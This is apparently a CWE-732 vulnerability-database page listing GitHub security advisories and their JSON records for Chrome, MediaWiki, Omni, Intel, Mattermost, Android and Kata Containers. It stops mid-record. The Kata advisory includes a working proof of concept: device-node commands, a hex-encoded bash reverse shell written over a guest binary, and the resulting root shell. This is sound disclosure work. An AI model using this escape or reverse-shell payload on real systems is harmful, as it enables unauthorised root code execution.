CWE-732
Allowed-with-ReviewIncorrect Permission Assignment for Critical Resource
Abstraction: Class · Status: Draft
The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.
2074 vulnerabilities reference this CWE, most recent first.
GHSA-WRRV-22MC-5GJ3
Vulnerability from github – Published: 2022-05-24 17:29 – Updated: 2022-05-24 17:29Insufficient policy enforcement in iOSWeb in Google Chrome on iOS prior to 85.0.4183.83 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page.
{
"affected": [],
"aliases": [
"CVE-2020-6558"
],
"database_specific": {
"cwe_ids": [
"CWE-732",
"CWE-79"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-21T20:15:00Z",
"severity": "MODERATE"
},
"details": "Insufficient policy enforcement in iOSWeb in Google Chrome on iOS prior to 85.0.4183.83 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page.",
"id": "GHSA-wrrv-22mc-5gj3",
"modified": "2022-05-24T17:29:08Z",
"published": "2022-05-24T17:29:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-6558"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2020/08/stable-channel-update-for-desktop_25.html"
},
{
"type": "WEB",
"url": "https://crbug.com/1109120"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2021/dsa-4824"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00072.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00078.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-09/msg00081.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WRVQ-Q9QH-872J
Vulnerability from github – Published: 2024-12-04 18:32 – Updated: 2024-12-12 03:32The GriceMobile com.grice.call application 4.5.2 for Android enables any installed application (with no permissions) to place phone calls without user interaction by sending a crafted intent via the com.iui.mobile.presentation.MobileActivity.
{
"affected": [],
"aliases": [
"CVE-2024-37574"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-04T16:15:24Z",
"severity": "HIGH"
},
"details": "The GriceMobile com.grice.call application 4.5.2 for Android enables any installed application (with no permissions) to place phone calls without user interaction by sending a crafted intent via the com.iui.mobile.presentation.MobileActivity.",
"id": "GHSA-wrvq-q9qh-872j",
"modified": "2024-12-12T03:32:59Z",
"published": "2024-12-04T18:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-37574"
},
{
"type": "WEB",
"url": "https://github.com/actuator/com.grice.call"
},
{
"type": "WEB",
"url": "https://github.com/actuator/com.grice.call/blob/main/CVE-2024-37574"
},
{
"type": "WEB",
"url": "https://play.google.com/store/apps/details?id=com.grice.call"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WV3P-JVHJ-V4JC
Vulnerability from github – Published: 2023-01-12 06:30 – Updated: 2025-04-08 18:34An issue was discovered in MediaWiki before 1.35.9, 1.36.x through 1.38.x before 1.38.5, and 1.39.x before 1.39.1. When installing with a pre-existing data directory that has weak permissions, the SQLite files are created with file mode 0644, i.e., world readable to local users. These files include credentials data.
{
"affected": [],
"aliases": [
"CVE-2022-47927"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-12T06:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in MediaWiki before 1.35.9, 1.36.x through 1.38.x before 1.38.5, and 1.39.x before 1.39.1. When installing with a pre-existing data directory that has weak permissions, the SQLite files are created with file mode 0644, i.e., world readable to local users. These files include credentials data.",
"id": "GHSA-wv3p-jvhj-v4jc",
"modified": "2025-04-08T18:34:04Z",
"published": "2023-01-12T06:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-47927"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2023/07/msg00011.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/AP65YEN762IBNQPOYGUVLTQIDLM5XD2A"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/AP65YEN762IBNQPOYGUVLTQIDLM5XD2A"
},
{
"type": "WEB",
"url": "https://lists.wikimedia.org/hyperkitty/list/mediawiki-announce%40lists.wikimedia.org/thread/UEMW64LVEH3BEXCJV43CVS6XPYURKWU3"
},
{
"type": "WEB",
"url": "https://lists.wikimedia.org/hyperkitty/list/mediawiki-announce@lists.wikimedia.org/thread/UEMW64LVEH3BEXCJV43CVS6XPYURKWU3"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T322637"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/202305-24"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-WV8C-6MX2-XF4J
Vulnerability from github – Published: 2026-06-05 15:26 – Updated: 2026-06-05 15:26Summary
Omni supports importing standalone Talos clusters.
During this process, an ImportedClusterSecrets resource is created, which contains the full CA secrets bundle for the cluster being imported.
If these secrets are not rotated by the importing actor, an authenticated Omni user with Reader access can read this resource and gain full access to the Talos, Kubernetes and etcd APIs of the cluster.
Severity
- Attack Vector: Adjacent: the attacker needs to be in the same network to be able to access Talos/Kubernetes APIs with the compromised keys.
- Attack Complexity: High: the attacker needs a deep understanding of Omni's internals. The resource is only created for imported clusters, and is normally not represented to users via any high-level API.
- Privileges Required: Low: the role
Readeris sufficient for the attacker to be able to read an imported cluster's secrets. - User Interaction: Required: another user must have imported a cluster to Omni for this vulnerability to exist.
- Scope: Changed: the leaked CA private keys let an attacker directly get full control on Kubernetes or Talos, beyond the limitations enforced by Omni.
- Confidentiality Impact: High: full cluster CA private keys (Kubernetes, Talos, etcd, service account) are exposed.
- Integrity Impact: High: with the CA keys the attacker has full control on Kubernetes and Talos of the compromised (imported) cluster, and modify the workloads on it.
- Availability Impact: High: with the CA keys the attacker has full control on Kubernetes and Talos of the compromised (imported) cluster, and modify the workloads on it.
Impact
- Any Reader-level account can exfiltrate the complete CA private key hierarchy (Kubernetes CA, etcd CA, service account key) of the imported clusters whose secrets are not yet rotated ("tainted" imported clusters).
- With the Kubernetes CA private key, an attacker can sign certificates for any Kubernetes user or group, including
system:masters, achieving cluster-admin access to the imported cluster entirely outside Omni's control plane. - Impact scope extends beyond Omni to every Kubernetes workload, credential, and secret stored in the affected imported cluster.
Credit
This vulnerability was discovered and reported by bugbunny.ai.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siderolabs/omni"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.0"
},
{
"fixed": "1.6.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/siderolabs/omni"
},
"ranges": [
{
"events": [
{
"introduced": "1.7.0"
},
{
"fixed": "1.7.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45726"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522",
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-05T15:26:24Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nOmni supports importing standalone Talos clusters.\n\nDuring this process, an ImportedClusterSecrets resource is created, which contains the full CA secrets bundle for the cluster being imported.\n\nIf these secrets are not rotated by the importing actor, an authenticated Omni user with Reader access can read this resource and gain full access to the Talos, Kubernetes and etcd APIs of the cluster.\n\n## Severity\n\n- **Attack Vector:** Adjacent: the attacker needs to be in the same network to be able to access Talos/Kubernetes APIs with the compromised keys.\n- **Attack Complexity:** High: the attacker needs a deep understanding of Omni\u0027s internals. The resource is only created for imported clusters, and is normally not represented to users via any high-level API.\n- **Privileges Required:** Low: the role `Reader` is sufficient for the attacker to be able to read an imported cluster\u0027s secrets.\n- **User Interaction:** Required: another user must have imported a cluster to Omni for this vulnerability to exist.\n- **Scope:** Changed: the leaked CA private keys let an attacker directly get full control on Kubernetes or Talos, beyond the limitations enforced by Omni.\n- **Confidentiality Impact:** High: full cluster CA private keys (Kubernetes, Talos, etcd, service account) are exposed.\n- **Integrity Impact:** High: with the CA keys the attacker has full control on Kubernetes and Talos of the compromised (imported) cluster, and modify the workloads on it.\n- **Availability Impact:** High: with the CA keys the attacker has full control on Kubernetes and Talos of the compromised (imported) cluster, and modify the workloads on it.\n\n## Impact\n\n- Any Reader-level account can exfiltrate the complete CA private key hierarchy (Kubernetes CA, etcd CA, service account key) of the imported clusters whose secrets are not yet rotated (\"tainted\" imported clusters).\n- With the Kubernetes CA private key, an attacker can sign certificates for any Kubernetes user or group, including `system:masters`, achieving cluster-admin access to the imported cluster entirely outside Omni\u0027s control plane.\n- Impact scope extends beyond Omni to every Kubernetes workload, credential, and secret stored in the affected imported cluster.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https://bugbunny.ai).",
"id": "GHSA-wv8c-6mx2-xf4j",
"modified": "2026-06-05T15:26:24Z",
"published": "2026-06-05T15:26:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siderolabs/omni/security/advisories/GHSA-wv8c-6mx2-xf4j"
},
{
"type": "PACKAGE",
"url": "https://github.com/siderolabs/omni"
},
{
"type": "WEB",
"url": "https://github.com/siderolabs/omni/releases/tag/v1.6.6"
},
{
"type": "WEB",
"url": "https://github.com/siderolabs/omni/releases/tag/v1.7.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Omni: Reader-level users can retrieve imported cluster CA keys via ResourceService"
}
GHSA-WV9W-GW9C-464Q
Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2024-04-04 00:42Improper directory permissions in Intel(R) ACU Wizard version 12.0.0.129 and earlier may allow an authenticated user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2019-0138"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-05-17T16:29:00Z",
"severity": "HIGH"
},
"details": "Improper directory permissions in Intel(R) ACU Wizard version 12.0.0.129 and earlier may allow an authenticated user to potentially enable escalation of privilege via local access.",
"id": "GHSA-wv9w-gw9c-464q",
"modified": "2024-04-04T00:42:03Z",
"published": "2022-05-24T16:46:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-0138"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/INTEL-SA-00234.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-WVJG-33P9-938H
Vulnerability from github – Published: 2022-05-24 17:21 – Updated: 2025-12-05 21:48An issue was discovered in Mattermost Server before 4.3.0, 4.2.1, and 4.1.2. It allows a bypass of restrictions on use of slash commands.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0-rc1"
},
{
"fixed": "4.2.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/mattermost/mattermost-server"
},
"ranges": [
{
"events": [
{
"introduced": "4.3.0-rc1"
},
{
"fixed": "4.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-18886"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-05T21:48:05Z",
"nvd_published_at": "2020-06-19T19:15:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in Mattermost Server before 4.3.0, 4.2.1, and 4.1.2. It allows a bypass of restrictions on use of slash commands.",
"id": "GHSA-wvjg-33p9-938h",
"modified": "2025-12-05T21:48:05Z",
"published": "2022-05-24T17:21:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18886"
},
{
"type": "PACKAGE",
"url": "https://github.com/mattermost/mattermost"
},
{
"type": "WEB",
"url": "https://mattermost.com/security-updates"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Mattermost Server does not properly restrict use of slash commands"
}
GHSA-WVW8-M25H-JR69
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40In checkGrantUriPermission of UriGrantsManagerService.java, there is a possible permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-140729426
{
"affected": [],
"aliases": [
"CVE-2020-27097"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-26T18:15:00Z",
"severity": "MODERATE"
},
"details": "In checkGrantUriPermission of UriGrantsManagerService.java, there is a possible permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-11Android ID: A-140729426",
"id": "GHSA-wvw8-m25h-jr69",
"modified": "2022-05-24T17:40:09Z",
"published": "2022-05-24T17:40:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27097"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/android-11"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-WW8X-G5FJ-6WPJ
Vulnerability from github – Published: 2024-11-13 21:30 – Updated: 2024-11-13 21:30Insecure inherited permissions for some Intel(R) DSA software before version 24.3.26.8 may allow an authenticated user to potentially enable escalation of privilege via local access.
{
"affected": [],
"aliases": [
"CVE-2024-36294"
],
"database_specific": {
"cwe_ids": [
"CWE-277",
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-13T21:15:24Z",
"severity": "MODERATE"
},
"details": "Insecure inherited permissions for some Intel(R) DSA software before version 24.3.26.8 may allow an authenticated user to potentially enable escalation of privilege via local access.",
"id": "GHSA-ww8x-g5fj-6wpj",
"modified": "2024-11-13T21:30:37Z",
"published": "2024-11-13T21:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36294"
},
{
"type": "WEB",
"url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01200.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-WWJ6-VGHV-5P64
Vulnerability from github – Published: 2026-02-19 15:25 – Updated: 2026-02-19 21:30Summary
An issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn’t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).
Details
Linux virtio-pmem
The virtio-pmem probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the ND_REGION_PAGEMAP and ND_REGION_ASYNC bits are set before the region is created, so nd_region->ro always stays cleared and the block device is left writable.
Later, pmem_attach_disk() wires the region into the block layer with full read/write semantics – the block device operations call pmem_do_write() which performs cache-flushed memcpy operations directly into the host-provided shared memory window. nvdimm_check_and_set_ro() would set the disk read-only if the region had been flagged as such, but because virtio_pmem never sets that flag, the helper becomes a no-op.
Cloud-Hypervisor virtio_pmem
discard_writes=on causes the file backing the virtio-pmem device to be opened read-only and mapped with MAP_PRIVATE rather than MAP_SHARED. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged.
Kata /dev/pmem0
Kata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting /dev/pmem* device as its root filesystem.
Since DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open /dev/pmem0 and observe its own writes until the VM is rebooted or the cache is dropped.
PoC
When putting all this together, this means that a user of a Container (not necessarily privileged, we don’t need CAP_SYS_ADMIN, but we need CAP_MKNOD) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file.
To achieve execution on the Guest, I replaced /usr/bin/systemd-tmpfiles with a connect-back shell to localhost: timers end up executing 15min after boot.
I use debugfs to not require mounting privileges and work directly with the filesystem on /dev/pmem0p1 to get the absolute offset of the file to modify in the device.
If you want a simpler PoC, just dd write something into /dev/pmem0 and observe it's dd readable until discarded.
root@ab5392da44ce:~# mknod /dev/pmem0 b 259 0
root@ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1
root@ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a
=== Resolution ===
Partition device: /dev/pmem0p1 (pmem0p1)
Partition start (sectors): 2048
Sector size (bytes): 512
Partition start (bytes): 1048576
Filesystem block size: 4096
File path: /usr/bin/systemd-tmpfiles
File offset (bytes): 0
Logical block index: 0
Intra-block offset: 0
Physical block index: 40668
→ Absolute pmem offset: 167624704
[*] Raw read (64 bytes at 167624704):
09fdc000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|
09fdc010 03 00 3e 00 01 00 00 00 20 66 00 00 00 00 00 00 |..>..... f......|
09fdc020 40 00 00 00 00 00 00 00 48 82 01 00 00 00 00 00 |@.......H.......|
09fdc030 00 00 00 00 40 00 38 00 0d 00 40 00 20 00 1f 00 |....@.8...@. ...|
[+] Wrote 58 bytes at absolute offset 167624704. Verifying...
09fdc000 23 21 2f 62 69 6e 2f 62 61 73 68 0a 62 61 73 68 |#!/bin/bash.bash|
09fdc010 20 2d 69 20 3e 26 20 2f 64 65 76 2f 74 63 70 2f | -i >& /dev/tcp/|
09fdc020 31 32 37 2e 30 2e 30 2e 31 2f 34 34 33 20 30 3e |127.0.0.1/443 0>|
09fdc030 26 31 0a 65 78 69 74 20 30 0a |&1.exit 0.|
root@ab5392da44ce:~# nc -lvp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:44880.
bash: cannot set terminal process group (329): Inappropriate ioctl for device
bash: no job control in this shell
root@localhost:/#
root@localhost:/# ps auxw
ps auxw
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 17280 1920 ? Ss 16:16 0:01 /sbin/init
root 2 0.0 0.0 0 0 ? S 16:16 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S 16:16 0:00 [pool_workqueue_release]
root 4 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-rcu_gp]
root 5 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-sync_wq]
root 6 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-slub_flushwq]
root 7 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-netns]
root 9 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:0H-events_highpri]
root 10 0.0 0.0 0 0 ? I 16:16 0:01 [kworker/0:1-events_power_efficient]
root 12 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mm_percpu_wq]
root 13 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_tasks_trace_kthread]
root 14 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/0]
root 15 0.0 0.0 0 0 ? I 16:16 0:00 [rcu_sched]
root 16 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_par_gp_kthread_worker/1]
root 17 0.0 0.0 0 0 ? S 16:16 0:00 [rcu_exp_gp_kthread_worker]
root 18 0.0 0.0 0 0 ? S 16:16 0:00 [migration/0]
root 19 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/0]
root 20 0.0 0.0 0 0 ? S 16:16 0:00 [kdevtmpfs]
root 21 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-inet_frag_wq]
root 22 0.0 0.0 0 0 ? S 16:16 0:00 [kauditd]
root 23 0.0 0.0 0 0 ? S 16:16 0:00 [oom_reaper]
root 24 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-writeback]
root 25 0.0 0.0 0 0 ? S 16:16 0:00 [kcompactd0]
root 26 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-cryptd]
root 27 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kblockd]
root 28 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/0:1H]
root 29 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:1-events_unbound]
root 30 0.0 0.0 0 0 ? S 16:16 0:00 [kswapd0]
root 31 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfsalloc]
root 32 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-xfs_mru_cache]
root 33 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/u257:0]
root 34 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-kthrotld]
root 36 0.0 0.0 0 0 ? S 16:16 0:00 [irq/25-ACPI:Ged]
root 37 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-nfit]
root 38 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/0:2-virtio_vsock]
root 39 0.0 0.0 0 0 ? S 16:16 0:00 [hwrng]
root 40 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:2-events_unbound]
root 41 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-vfio-irqfd-cleanup]
root 42 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-mld]
root 43 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ipv6_addrconf]
root 81 0.0 0.0 0 0 ? S 16:16 0:00 [jbd2/pmem0p1-8]
root 82 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/R-ext4-rsv-conversion]
root 99 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/u256:3]
root 105 0.0 0.0 62032 2568 ? Ssl 16:16 0:02 /usr/bin/kata-agent
_chrony 117 0.0 0.0 10692 540 ? S 16:16 0:02 /usr/sbin/chronyd -F 1
_chrony 120 0.0 0.0 10560 460 ? S 16:16 0:00 /usr/sbin/chronyd -F 1
root 122 0.2 1.0 44876 31556 ? S 16:16 0:11 python -m server
message+ 124 0.0 0.0 8120 384 ? Ss 16:16 0:00 @dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 129 0.0 0.0 0 0 ? S 16:16 0:00 [cpuhp/1]
root 130 0.0 0.0 0 0 ? S 16:16 0:00 [migration/1]
root 131 0.0 0.0 0 0 ? S 16:16 0:00 [ksoftirqd/1]
root 132 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:0-mm_percpu_wq]
root 133 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:0H-events_highpri]
root 134 0.0 0.0 0 0 ? I< 16:16 0:00 [kworker/1:1H]
root 142 0.0 0.0 5400 2220 pts/0 Ss 16:16 0:00 bash -l
root 145 0.0 0.0 0 0 ? I 16:16 0:00 [kworker/1:1]
root 323 0.0 0.1 13212 3448 pts/0 R+ 16:17 0:00 nc -lvp 443
root 329 0.0 0.0 4780 256 ? Ss 16:31 0:00 /bin/bash /usr/bin/systemd-tmpfiles --clean
root 330 0.0 0.0 5048 512 ? S 16:31 0:00 bash -i
root 377 0.0 0.0 7480 256 ? R 17:33 0:00 ps auxw
root@localhost:/#
Impact
Container to Guest micro VM Escape (no escape to Host, no persistence of the overwritten image)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kata-containers/kata-containers/src/runtime"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260219090056-6a672503973b"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24834"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-19T15:25:54Z",
"nvd_published_at": "2026-02-19T17:24:49Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn issue in Kata with Cloud Hypervisor allows a user of the container to modify the file system used by the Guest micro VM ultimately achieving arbitrary code execution as root in said VM. The current understinding is this doesn\u2019t impact the security of the Host or of other containers / VMs running on that Host (note that arm64 QEMU lacks NVDIMM read-only support: It is believed that until the upstream QEMU gains this capability, a guest write could reach the image file).\n\n### Details\n\n_Linux virtio-pmem_\nThe `virtio-pmem` probe path always registers the region as a generic pagemap that supports asynchronous flushes, but it never marks the region as read-only. Only the `ND_REGION_PAGEMAP` and `ND_REGION_ASYNC` bits are set before the region is created, so `nd_region-\u003ero always` stays cleared and the block device is left writable.\n\nLater, `pmem_attach_disk()` wires the region into the block layer with full read/write semantics \u2013 the block device operations call `pmem_do_write()` which performs cache-flushed memcpy operations directly into the host-provided shared memory window. `nvdimm_check_and_set_ro()` would set the disk read-only if the region had been flagged as such, but because `virtio_pmem` never sets that flag, the helper becomes a no-op.\n\n_Cloud-Hypervisor virtio_pmem_\n`discard_writes=on` causes the file backing the `virtio-pmem` device to be opened read-only and mapped with `MAP_PRIVATE` rather than `MAP_SHARED`. That combination means the guest can modify the private copy of the mapped pages, but those modifications never propagate back to the underlying file. The guest (and Cloud Hypervisor process) will still read the modified data because it lives in the private copy of the mapping, so write-then-read sequences appear to succeed even though nothing is persisted. Once the mapping is dropped or the VM is restarted, those copy-on-write changes disappear, leaving the backing file unchanged.\n\n_Kata /dev/pmem0_\nKata boots each pod/VM by DAX-mapping a read-only guest image from the host into the VM and telling the guest kernel to mount the resulting `/dev/pmem*` device as its root filesystem.\nSince DAX maps the backing file directly into guest memory, there is no way for the hypervisor to intercept or reject individual stores, so a container with sufficient permissions can open `/dev/pmem0` and observe its own writes until the VM is rebooted or the cache is dropped.\n\n### PoC\n\nWhen putting all this together, this means that a user of a Container (not necessarily privileged, we don\u2019t need `CAP_SYS_ADMIN`, but we need `CAP_MKNOD`) can modify the Guest OS filesystem, replacing libraries or binaries to achieve arbitrary code execution outside of the Container. This requires computing offsets of files within the device, which requires information like the partition start sector, sector size in bytes, the filesystem block size, and the physical block index of the file.\n\nTo achieve execution on the Guest, I replaced `/usr/bin/systemd-tmpfiles` with a connect-back shell to `localhost`: timers end up executing 15min after boot.\nI use `debugfs` to not require mounting privileges and work directly with the filesystem on `/dev/pmem0p1` to get the absolute offset of the file to modify in the device.\n\nIf you want a simpler PoC, just `dd` write something into `/dev/pmem0` and observe it\u0027s `dd` readable until discarded.\n\n```\nroot@ab5392da44ce:~# mknod /dev/pmem0 b 259 0\nroot@ab5392da44ce:~# mknod /dev/pmem0p1 b 259 1\nroot@ab5392da44ce:~# python pmem.py --file /usr/bin/systemd-tmpfiles --write --pattern 23212f62696e2f626173680a62617368202d69203e26202f6465762f7463702f3132372e302e302e312f34343320303e26310a6578697420300a\n=== Resolution ===\nPartition device: /dev/pmem0p1 (pmem0p1)\nPartition start (sectors): 2048\nSector size (bytes): 512\nPartition start (bytes): 1048576\nFilesystem block size: 4096\nFile path: /usr/bin/systemd-tmpfiles\nFile offset (bytes): 0\nLogical block index: 0\nIntra-block offset: 0\nPhysical block index: 40668\n\u2192 Absolute pmem offset: 167624704\n[*] Raw read (64 bytes at 167624704):\n09fdc000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 |.ELF............|\n09fdc010 03 00 3e 00 01 00 00 00 20 66 00 00 00 00 00 00 |..\u003e..... f......|\n09fdc020 40 00 00 00 00 00 00 00 48 82 01 00 00 00 00 00 |@.......H.......|\n09fdc030 00 00 00 00 40 00 38 00 0d 00 40 00 20 00 1f 00 |....@.8...@. ...|\n[+] Wrote 